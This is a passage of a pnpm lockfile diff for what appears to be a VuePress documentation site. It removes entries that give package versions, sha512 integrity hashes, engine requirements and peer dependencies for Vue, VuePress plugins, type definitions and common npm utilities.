sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==} - - '@shikijs/core@1.11.1': - resolution: {integrity: sha512-Qsn8h15SWgv5TDRoDmiHNzdQO2BxDe86Yq6vIHf5T0cCvmfmccJKIzHtep8bQO9HMBZYCtCBzaXdd1MnxZBPSg==} - - '@shikijs/transformers@1.11.1': - resolution: {integrity: sha512-e6DUvZRylv+V8htF5q3ZuNyPaxJYQnsLyTd2S/K6ePs8t132NJS82LG2vARmtfSFP3I3CcBXfJ73FaCgI9kAMg==} - - '@sindresorhus/merge-streams@2.3.0': - resolution: {integrity: sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg==} - engines: {node: '>=18'} - - '@sindresorhus/merge-streams@4.0.0': - resolution: {integrity: sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==} - engines: {node: '>=18'} - - '@stackblitz/sdk@1.11.0': - resolution: {integrity: sha512-DFQGANNkEZRzFk1/rDP6TcFdM82ycHE+zfl9C/M/jXlH68jiqHWHFMQURLELoD8koxvu/eW5uhg94NSAZlYrUQ==} - - '@surma/rollup-plugin-off-main-thread@2.2.3': - resolution: {integrity: sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==} - - '@types/debug@4.1.12': - resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} - - '@types/estree@0.0.39': - resolution: {integrity: sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==} - - '@types/estree@1.0.5': - resolution: {integrity: sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==} - - '@types/fs-extra@11.0.4': - resolution: {integrity: sha512-yTbItCNreRooED33qjunPthRcSjERP1r4MqCZc7wv0u2sUkzTFp45tgUfS5+r7FrZPdmCCNflLhVSP/o+SemsQ==} - - '@types/hash-sum@1.0.2': - resolution: {integrity: sha512-UP28RddqY8xcU0SCEp9YKutQICXpaAq9N8U2klqF5hegGha7KzTOL8EdhIIV3bOSGBzjEpN9bU/d+nNZBdJYVw==} - - '@types/hast@3.0.4': - resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} - - '@types/jsonfile@6.1.4': - resolution: {integrity: sha512-D5qGUYwjvnNNextdU59/+fI+spnwtTFmyQP0h+PfIOSkNfpU6AOICUOkm4i0OnSk+NyjdPJrxCDro0sJsWlRpQ==} - - '@types/katex@0.16.7': - resolution: {integrity: sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==} - - '@types/linkify-it@5.0.0': - resolution: {integrity: sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==} - - '@types/markdown-it-emoji@3.0.1': - resolution: {integrity: sha512-cz1j8R35XivBqq9mwnsrP2fsz2yicLhB8+PDtuVkKOExwEdsVBNI+ROL3sbhtR5occRZ66vT0QnwFZCqdjf3pA==} - - '@types/markdown-it@14.1.2': - resolution: {integrity: sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==} - - '@types/mdurl@2.0.0': - resolution: {integrity: sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==} - - '@types/ms@0.7.34': - resolution: {integrity: sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==} - - '@types/node@17.0.45': - resolution: {integrity: sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==} - - '@types/node@20.14.12': - resolution: {integrity: sha512-r7wNXakLeSsGT0H1AU863vS2wa5wBOK4bWMjZz2wj+8nBx+m5PeIn0k8AloSLpRuiwdRQZwarZqHE4FNArPuJQ==} - - '@types/resolve@1.20.2': - resolution: {integrity: sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==} - - '@types/sax@1.2.7': - resolution: {integrity: sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==} - - '@types/trusted-types@2.0.7': - resolution: {integrity: sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==} - - '@types/unist@3.0.2': - resolution: {integrity: sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==} - - '@types/web-bluetooth@0.0.20': - resolution: {integrity: sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==} - - '@vitejs/plugin-vue@5.1.0': - resolution: {integrity: sha512-QMRxARyrdiwi1mj3AW4fLByoHTavreXq0itdEW696EihXglf1MB3D4C2gBvE0jMPH29ZjC3iK8aIaUMLf4EOGA==} - engines: {node: ^18.0.0 || >=20.0.0} - peerDependencies: - vite: ^5.0.0 - vue: ^3.2.25 - - '@vue/compiler-core@3.4.34': - resolution: {integrity: sha512-Z0izUf32+wAnQewjHu+pQf1yw00EGOmevl1kE+ljjjMe7oEfpQ+BI3/JNK7yMB4IrUsqLDmPecUrpj3mCP+yJQ==} - - '@vue/compiler-dom@3.4.34': - resolution: {integrity: sha512-3PUOTS1h5cskdOJMExCu2TInXuM0j60DRPpSCJDqOCupCfUZCJoyQmKtRmA8EgDNZ5kcEE7vketamRZfrEuVDw==} - - '@vue/compiler-sfc@3.4.34': - resolution: {integrity: sha512-x6lm0UrM03jjDXTPZgD9Ad8bIVD1ifWNit2EaWQIZB5CULr46+FbLQ5RpK7AXtDHGjx9rmvC7QRCTjsiGkAwRw==} - - '@vue/compiler-ssr@3.4.34': - resolution: {integrity: sha512-8TDBcLaTrFm5rnF+Qm4BlliaopJgqJ28Nsrc80qazynm5aJO+Emu7y0RWw34L8dNnTRdcVBpWzJxhGYzsoVu4g==} - - '@vue/devtools-api@6.6.3': - resolution: {integrity: sha512-0MiMsFma/HqA6g3KLKn+AGpL1kgKhFWszC9U29NfpWK5LE7bjeXxySWJrOJ77hBz+TBrBQ7o4QJqbPbqbs8rJw==} - - '@vue/reactivity@3.4.34': - resolution: {integrity: sha512-ua+Lo+wBRlBEX9TtgPOShE2JwIO7p6BTZ7t1KZVPoaBRfqbC7N3c8Mpzicx173fXxx5VXeU6ykiHo7WgLzJQDA==} - - '@vue/runtime-core@3.4.34': - resolution: {integrity: sha512-PXhkiRPwcPGJ1BnyBZFI96GfInCVskd0HPNIAZn7i3YOmLbtbTZpB7/kDTwC1W7IqdGPkTVC63IS7J2nZs4Ebg==} - - '@vue/runtime-dom@3.4.34': - resolution: {integrity: sha512-dXqIe+RqFAK2Euak4UsvbIupalrhc67OuQKpD7HJ3W2fv8jlqvI7szfBCsAEcE8o/wyNpkloxB6J8viuF/E3gw==} - - '@vue/server-renderer@3.4.34': - resolution: {integrity: sha512-GeyEUfMVRZMD/mZcNONEqg7MiU10QQ1DB3O/Qr6+8uXpbwdlmVgQ5Qs1/ZUAFX1X2UUtqMoGrDRbxdWfOJFT7Q==} - peerDependencies: - vue: 3.4.34 - - '@vue/shared@3.4.34': - resolution: {integrity: sha512-x5LmiRLpRsd9KTjAB8MPKf0CDPMcuItjP0gbNqFCIgL1I8iYp4zglhj9w9FPCdIbHG2M91RVeIbArFfFTz9I3A==} - - '@vuepress/bundler-vite@2.0.0-rc.14': - resolution: {integrity: sha512-kttbowYITMCX3ztz78Qb6bMfXRv/GEpNu+nALksu7j/QJQ0gOzI2is68PatbmzZRWOufVsf1Zf0A8BwolmVcXA==} - - '@vuepress/cli@2.0.0-rc.14': - resolution: {integrity: sha512-oYJX1nE6/ohF2tzUtpBAFxRr4MF2kdtab3+AQ897esXzrciQnE2LxPQZ8BUOn6Jb3XYW12FXDdkHrr82rN6XnQ==} - hasBin: true - - '@vuepress/client@2.0.0-rc.14': - resolution: {integrity: sha512-ULwxOiWoUi15HWQ6qH60gWjxSXB0797uExCUa4HgHV/8SpIqv4SHFn6jqjo7qCzOxuTqj1RT47JH3oWfUF4XPA==} - - '@vuepress/core@2.0.0-rc.14': - resolution: {integrity: sha512-Ly3fypjXGUgPzjfbXKJeyd59jxJgXkhxhWAGkH/rRyQeV8Nr7Wo1ah3H1MeGhlCRGH1T9Yd3Bz9W7QMoyWFfmg==} - - '@vuepress/helper@2.0.0-rc.39': - resolution: {integrity: sha512-X9KiTUjtrT6gxrDUDJhiB5+/kO4via8yzudowOPu55p/MKtPbShlJw/zEDivH3P4nD1LFWnjWWuEBgZLFymLFQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/helper@2.0.0-rc.40': - resolution: {integrity: sha512-6mvH6nRXkdST8ndmms1wf/uVSdzBn/Tc4psWHNlU+TxaYzDHcXCuGOXh5Z97fJGteHy7LZQo1w7eP+Fsr1JAvQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/highlighter-helper@2.0.0-rc.39': - resolution: {integrity: sha512-da4wob8vmrB8DGsBsJCF1ox4E50/9Yc3F9CkNvuH/BS/Touk5KabAw36dCDW/420jTrm5UjRgwfVzfkakcaRIQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/markdown@2.0.0-rc.14': - resolution: {integrity: sha512-9xr693gkp71qwEbQLxpo1ybhJ+lA2k5SiuFUgqqrmR2a8CSL3gcmKEGM+y7GMnHvL63U2dYlc9pUOtJ5rG9O0Q==} - - '@vuepress/plugin-active-header-links@2.0.0-rc.39': - resolution: {integrity: sha512-Nm4srR+/kEoawFikbpXdJmi3dvXKU4RcsuOW6d0Aa6JWdiB8sX9PbCWbJD+ZWvAa8o+ySBBHFNd4exTzfCtBlw==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-back-to-top@2.0.0-rc.39': - resolution: {integrity: sha512-rG9HVgvpxURGfDZeuVRCjXLFHIEqPh1VPqkQpldh1zpDbB4+V2xqq73TYfpjFBRekN8lJZ0JO3BJ8f7p9t4wLg==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-blog@2.0.0-rc.39': - resolution: {integrity: sha512-YHxsZxlIeJGCcOdEm4c4lQoNHx358Zxu/0tvRC/jEwXgyZUnqSpbMd3FLJ9Yl7CPsp18PMLIN7d8YQOetR17zA==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-catalog@2.0.0-rc.39': - resolution: {integrity: sha512-WAxCpDAZO4Pzozh6l5zPk/XYXgxAMq96PksgrVjlWsp1c4UKM7QiUMAXKH0UfbgcQhtLJoWQ37F8EZnJAMEXDQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-comment@2.0.0-rc.39': - resolution: {integrity: sha512-/oCS+0wH/MtE4c1HUKlqH/tj70oXSz/tfR1hsHj8F8wiZ+IVJxexvtzMKk0vdRmYnH4nqeZh6dg5ggSJjrLEZQ==} - peerDependencies: - '@waline/client': ^3.1.0 - artalk: ^2.8.7 - twikoo: ^1.5.0 - vuepress: 2.0.0-rc.14 - peerDependenciesMeta: - '@waline/client': - optional: true - artalk: - optional: true - twikoo: - optional: true - - '@vuepress/plugin-copy-code@2.0.0-rc.39': - resolution: {integrity: sha512-Udd73yfUvjCQadE+QRXCC+Rw2zxRNsBIcpDcFMzs3Vz93LbZxbG0cv6pO4rdKb3OrFH9M0JTawoWyANZspt3QQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-copyright@2.0.0-rc.39': - resolution: {integrity: sha512-webOz7vcBydcpqRdLMQYtykEGD5NqZ8ykoZ6dLF9Yk7LteUgsSVUSMm7cJ2vxG2dD/SeH5dPlsr02lH+PH0VbQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-docsearch@2.0.0-rc.40': - resolution: {integrity: sha512-k3sfer1Vm+bxx0DZv3mWXMNmhDB/LfFOiApM2/T6sChvlScWvlHscydUtp48dmkF4qJV+bieQw0FDzO6oEHeXA==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-git@2.0.0-rc.38': - resolution: {integrity: sha512-dRJiZ5PVuhhyu+R2BZOlyeqgxVikUUh2Vf6RNVN2DNWv4VHdYybFQuQ+kYDpldYyzoP8932aFRV0d2ocpvxEug==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-links-check@2.0.0-rc.39': - resolution: {integrity: sha512-2lQHIMO49jYcJnEWHf7yoXnuFUrAQC+LfzSvaeCMUzshEIDTJXy96LSCQCjRWwW02GL65qS9ODfr6b8DDuXMgg==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-notice@2.0.0-rc.39': - resolution: {integrity: sha512-GNnNIxZJBt2q8XAtgrpCxovEB0vRXjrCccu4TBjPnSimjreo/i7uaHkxDyCb3O9tNQGEd6OaObOkHFBJ7vXaTg==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-nprogress@2.0.0-rc.39': - resolution: {integrity: sha512-HH+GuR2sxzVQ5uIQxDHnQF5RevjefviLuAbB1UH4u1R6DRUDd9+DrqXm4T/0LJJWo4OCPO4DLzPpmRESjuZifw==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-photo-swipe@2.0.0-rc.39': - resolution: {integrity: sha512-MS9xlTAEd7/nJHSPphS2diyvyRzuXRk0zYVlBSDcv8ge3X9gxkMhEcOoRfU6PymxMuovJKBIeTE4mvZQ9Wl9eQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-pwa@2.0.0-rc.40': - resolution: {integrity: sha512-gnsGa8gM8qusM0Oo8bmCYAiZR+zFGo1TkI/2PaRrERYKLBDa8CL0VMGN7F8ULSbriWtIqcwatGza00bSxYoLQg==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-reading-time@2.0.0-rc.39': - resolution: {integrity: sha512-ChfVi6be4hAXd0XIgyfdNGayIQTzRKFZB2JFWB12+TYBJr6TQ7j6tmL7FWOiYPXUPetVPm6CfuY+mdiaBq2vqg==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-rtl@2.0.0-rc.39': - resolution: {integrity: sha512-1ndKbzpGxJ6qLIOjTeZkAcsqq4eJ54hUrhraOmv21UneVIVDSAt80VeKnSwl8p269T94AxqNqfLsnnaCQ5uvRw==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-sass-palette@2.0.0-rc.39': - resolution: {integrity: sha512-jBo/4Lz7H9pa7TCqMSFiEyZRowsLCOVHj+yrp0PE1fAwx+qTm9dNSDKauWIKGplFGQqf4BdKITE7hPDoBePiDw==} - peerDependencies: - sass-loader: ^14.0.0 - vuepress: 2.0.0-rc.14 - peerDependenciesMeta: - sass-loader: - optional: true - - '@vuepress/plugin-seo@2.0.0-rc.39': - resolution: {integrity: sha512-n6w3ifBU2HK3b6twxJQiiv7vZxjCi0DCgW3Ellp7pNI/uZU6PnfkZ+UjtlHieScThe7A8Q+mxW/T7CyWC6/8cw==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-shiki@2.0.0-rc.39': - resolution: {integrity: sha512-QnD8VhOqpkgLCnwLGzcyPY8eC1dam2Navud9DyisLtqWOJ6zmjFZEE1O5elUjh6cPUtarN8bQQ/zn1M1ebRURA==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-sitemap@2.0.0-rc.39': - resolution: {integrity: sha512-/dgI8JK4oFaFG3Dmw34cwY5J/gYXNWto7RwR7H8wcK10cWuoT2tNV56BeixWiaqsKj1BZjv2GMwZTLpPgYxgZw==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-theme-data@2.0.0-rc.39': - resolution: {integrity: sha512-fNwaPpqM46gI23n5d4UrwC8Y+JRDi7mKs1sjawqKU9PdJpUQKd/2lOSOSx/farLqxiswHTQdZtLCxWjvWlcZRw==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/plugin-watermark@2.0.0-rc.39': - resolution: {integrity: sha512-16BZnwIZa+AEBcnXI59udHX04/VLiCwrdy8wsdBf3vy5co8/PPyG3iDC1Tlwbkotsuz/+J23KG7MjN4Fr9dFEQ==} - peerDependencies: - vuepress: 2.0.0-rc.14 - - '@vuepress/shared@2.0.0-rc.14': - resolution: {integrity: sha512-VDDnPpz4x1Q07richcVRGbc4qc2RG/6bKoEYSImofTFzvdmHer538ouv8kD2SNU10UrSOpxxUiphnhlhNIe03A==} - - '@vuepress/utils@2.0.0-rc.14': - resolution: {integrity: sha512-1h/5qcKBeIhIg6SZM2IoZVOaIdFSeQ1CdEWadqQWy1uwupEeVrU3QPkjFyn0vUt0O/EuuVqQcLLC8OuS/wldNw==} - - '@vueuse/core@10.11.0': - resolution: {integrity: sha512-x3sD4Mkm7PJ+pcq3HX8PLPBadXCAlSDR/waK87dz0gQE+qJnaaFhc/dZVfJz+IUYzTMVGum2QlR7ImiJQN4s6g==} - - '@vueuse/metadata@10.11.0': - resolution: {integrity: sha512-kQX7l6l8dVWNqlqyN3ePW3KmjCQO3ZMgXuBMddIu83CmucrsBfXlH+JoviYyRBws/yLTQO8g3Pbw+bdIoVm4oQ==} - - '@vueuse/shared@10.11.0': - resolution: {integrity: sha512-fyNoIXEq3PfX1L3NkNhtVQUSRtqYwJtJg+Bp9rIzculIZWHTkKSysujrOk2J+NrRulLTQH9+3gGSfYLWSEWU1A==} - - acorn@8.12.1: - resolution: {integrity: sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==} - engines: {node: '>=0.4.0'} - hasBin: true - - ajv@8.17.1: - resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==} - - algoliasearch@4.24.0: - resolution: {integrity: sha512-bf0QV/9jVejssFBmz2HQLxUadxk574t4iwjCKp5E7NBzwKkrDEhKPISIIjAU/p6K5qDx3qoeh4+26zWN1jmw3g==} - - ansi-regex@5.0.1: - resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} - engines: {node: '>=8'} - - ansi-regex@6.0.1: - resolution: {integrity: sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==} - engines: {node: '>=12'} - - ansi-styles@3.2.1: - resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} - engines: {node: '>=4'} - - ansi-styles@4.3.0: - resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} - engines: {node: '>=8'} - - anymatch@3.1.3: - resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} - engines: {node: '>= 8'} - - arg@5.0.2: - resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} - - argparse@1.0.10: - resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} - - argparse@2.0.1: - resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} - - array-buffer-byte-length@1.0.1: - resolution: {integrity: sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==} - engines: {node: '>= 0.4'} - - arraybuffer.prototype.slice@1.0.3: - resolution: {integrity: sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==} - engines: {node: '>= 0.4'} - - async@3.2.5: - resolution: {integrity: sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==} - - at-least-node@1.0.0: - resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==} - engines: {node: '>= 4.0.0'} - - autoprefixer@10.4.19: - resolution: {integrity: sha512-BaENR2+zBZ8xXhM4pUaKUxlVdxZ0EZhjvbopwnXmxRUfqDmwSpC2lAi/QXvx7NRdPCo1WKEcEF6mV64si1z4Ew==} - engines: {node: ^10 || ^12 || >=14} - hasBin: true - peerDependencies: - postcss: ^8.1.0 - - available-typed-arrays@1.0.7: - resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} - engines: {node: '>= 0.4'} - - babel-plugin-polyfill-corejs2@0.4.11: - resolution: {integrity: sha512-sMEJ27L0gRHShOh5G54uAAPaiCOygY/5ratXuiyb2G46FmlSpc9eFCzYVyDiPxfNbwzA7mYahmjQc5q+CZQ09Q==} - peerDependencies: - '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 - - babel-plugin-polyfill-corejs3@0.10.4: - resolution: {integrity: sha512-25J6I8NGfa5YkCDogHRID3fVCadIR8/pGl1/spvCkzb6lVn6SR3ojpx9nOn9iEBcUsjY24AmdKm5khcfKdylcg==} - peerDependencies: - '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 - - babel-plugin-polyfill-regenerator@0.6.2: - resolution: {integrity: sha512-2R25rQZWP63nGwaAswvDazbPXfrM3HwVoBXK6HcqeKrSrL/JqcC/rDcf95l4r7LXLyxDXc8uQDa064GubtCABg==} - peerDependencies: - '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 - - balanced-match@1.0.2: - resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} - - balloon-css@1.2.0: - resolution: {integrity: sha512-urXwkHgwp6GsXVF+it01485Z2Cj4pnW02ICnM0TemOlkKmCNnDLmyy+ZZiRXBpwldUXO+aRNr7Hdia4CBvXJ5A==} - - bcrypt-ts@5.0.2: - resolution: {integrity: sha512-gDwQ5784AkkfhHACh3jGcg1hUubyZyeq9AtVd5gXkcyHGVOC+mORjRIHSj+fHfqwY5vxwyBLXQpcfk8MpK0ROg==} - engines: {node: '>=18'} - - binary-extensions@2.3.0: - resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} - engines: {node: '>=8'} - - boolbase@1.0.0: - resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} - - brace-expansion@1.1.11: - resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} - - brace-expansion@2.0.1: - resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==} - - braces@3.0.3: - resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} - engines: {node: '>=8'} - - browserslist@4.23.2: - resolution: {integrity: sha512-qkqSyistMYdxAcw+CzbZwlBy8AGmS/eEWs+sEV5TnLRGDOL+C5M2EnH6tlZyg0YoAxGJAFKh61En9BR941GnHA==} - engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} - hasBin: true - - buffer-from@1.1.2: - resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} - - builtin-modules@3.3.0: - resolution: {integrity: sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==} - engines: {node: '>=6'} - - cac@6.7.14: - resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} - engines: {node: '>=8'} - - call-bind@1.0.7: - resolution: {integrity: sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==} - engines: {node: '>= 0.4'} - - camelcase@5.3.1: - resolution: {integrity: sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==} - engines: {node: '>=6'} - - caniuse-lite@1.0.30001643: - resolution: {integrity: sha512-ERgWGNleEilSrHM6iUz/zJNSQTP8Mr21wDWpdgvRwcTXGAq6jMtOUPP4dqFPTdKqZ2wKTdtB+uucZ3MRpAUSmg==} - - chalk@2.4.2: - resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==} - engines: {node: '>=4'} - - chalk@4.1.2: - resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} - engines: {node: '>=10'} - - chalk@5.3.0: - resolution: {integrity: sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==} - engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} - - cheerio-select@2.1.0: - resolution: {integrity: sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==} - - cheerio@1.0.0-rc.12: - resolution: {integrity: sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==} - engines: {node: '>= 6'} - - chokidar@3.6.0: - resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==} - engines: {node: '>= 8.10.0'} - - cli-cursor@4.0.0: - resolution: {integrity: sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - cli-spinners@2.9.2: - resolution: {integrity: 